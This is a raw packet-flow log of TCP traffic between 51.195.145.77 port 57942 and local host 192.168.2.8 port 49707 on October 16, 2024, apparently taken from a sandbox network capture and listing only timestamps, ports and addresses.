Oct 16, 2024 20:39:19.439965010 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439985991 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439995050 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440005064 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440026045 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440047026 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440098047 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440108061 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440115929 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440154076 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440185070 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440193892 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440222025 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440232038 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440244913 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440260887 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440279961 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440288067 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440296888 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440319061 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440342903 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440375090 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440383911 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440392971 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440404892 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440414906 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440431118 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440433025 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440448046 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440457106 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440466881 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440485954 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440504074 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440517902 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440527916 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440527916 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440537930 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440577030 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440591097 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440601110 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440608025 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440635920 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440644979 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440653086 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440668106 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440675974 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440694094 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440696955 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440706015 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440706968 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440735102 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440764904 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440784931 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440793991 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440802097 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440810919 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440841913 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440848112 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440851927 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440860033 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440869093 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440879107 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440888882 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440900087 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440926075 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440944910 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.440964937 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.440973043 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.441009045 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.441037893 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441049099 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441059113 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441083908 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.441102982 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441155910 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441241980 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441251993 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441260099 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441297054 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441306114 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441375017 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441526890 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441535950 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441545010 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441579103 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441590071 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441636086 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441679001 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441689968 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441723108 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441773891 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441783905 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441848993 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441860914 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441869020 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441878080 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441896915 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441905975 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.441936016 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442008018 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442017078 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442024946 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442043066 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442049026 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442061901 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442114115 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442123890 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442651987 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442662001 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442671061 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442679882 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442689896 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442698002 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442707062 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442715883 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442725897 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442735910 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442744017 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442753077 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442763090 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442773104 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442781925 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442792892 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442801952 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442811966 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442821026 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442830086 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442837954 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442847013 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442856073 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442864895 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442874908 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442884922 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442893028 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442903042 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442912102 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442920923 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442929983 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442939043 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442949057 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442958117 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442966938 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442986012 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.442996025 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443003893 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443197966 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443217039 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443228960 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443238020 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443352938 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443361998 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443371058 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443381071 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443469048 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443478107 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443487883 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443496943 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443505049 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443522930 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443531990 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443540096 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443548918 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443572044 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443581104 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443588972 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443598986 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443700075 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443711042 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443718910 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443727970 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443736076 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443746090 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443754911 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443772078 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443780899 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443836927 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443847895 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443857908 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443866968 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443875074 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443885088 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443895102 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443902969 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443921089 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443929911 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443975925 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.443991899 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444000959 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444010019 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444019079 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444027901 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444081068 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444091082 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444097996 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444119930 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444129944 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444139004 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444209099 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444219112 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444226980 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444236994 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444255114 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444263935 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444302082 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444349051 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444412947 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444422960 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444462061 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444470882 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444570065 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444581032 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444595098 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444602966 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444669962 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444679976 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444688082 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444696903 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444708109 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444717884 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444870949 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444933891 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444942951 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.444952011 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445071936 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445080996 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445122957 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445132971 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445143938 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445153952 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445208073 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445216894 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445240021 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445250034 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445261002 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445270061 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445287943 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445372105 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445380926 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445394993 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445406914 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445460081 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445477962 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445487022 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445512056 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445522070 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445568085 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445581913 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445590019 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445697069 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445707083 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445715904 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445724964 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445734024 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445743084 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445749998 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445759058 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445768118 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445830107 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445838928 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445846081 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445853949 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.445952892 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446038008 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446047068 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446054935 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446137905 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446146965 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446190119 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446232080 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446240902 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446248055 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446259022 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446268082 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446305037 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446314096 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446350098 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446358919 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446407080 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446485996 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446495056 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446502924 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446512938 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446521997 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446540117 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446589947 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446613073 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446664095 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446674109 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446711063 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446793079 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446801901 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446810007 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446818113 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446913004 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446922064 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446928978 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446938038 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.446947098 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447103977 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447113991 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447122097 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447129965 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447138071 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447148085 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447155952 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447165966 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447174072 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447211027 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447220087 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447227955 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447237015 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447292089 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447300911 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447309017 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447318077 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447325945 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447334051 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447343111 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447360992 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447371960 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447443962 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447452068 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447459936 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447468996 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447479963 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447491884 CEST	57942	49707	51.195.145.77	192.168.2.8
